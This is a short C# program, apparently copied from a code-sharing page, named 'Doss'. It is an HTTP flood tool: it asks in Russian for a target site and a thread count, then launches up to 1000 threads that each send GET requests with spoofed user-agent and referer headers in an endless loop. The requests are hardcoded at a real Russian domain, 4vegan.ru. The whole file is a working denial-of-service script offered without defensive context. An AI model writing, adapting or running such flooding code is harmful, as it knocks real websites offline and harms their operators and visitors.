using System using System Collections Generic using System Linq using

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using xNet.Net;
namespace Doss
{
class Program
{
const long Max_Threads=1000;
public static bool isWork=false;
// public string site = "";
public static int countThreads = 1;
public static Thread[] threads = new Thread[Max_Threads];
static void Main(string[] args)
{
Console.WriteLine("Введите сайт:='");
string site = Console.ReadLine();
Console.WriteLine("Введите Кол потоков:='");
countThreads =Convert.ToInt32(Console.ReadLine());
isWork = true;
int i;
for ( i = 0; i < countThreads; i++)
{
threads[i] = new Thread(Flood);
threads[i].IsBackground = true;
threads[i].Start();
};
Console.WriteLine("any key for stop");
Console.ReadLine();
isWork = false;
}
public static void Flood()
{
var recwest = new HttpRequest();
while (isWork)
{
recwest.UserAgent = HttpHelper.IEUserAgent();
recwest.Referer="http://4vegan.ru/";
recwest.Get("http://4vegan.ru/");
}
}
}
}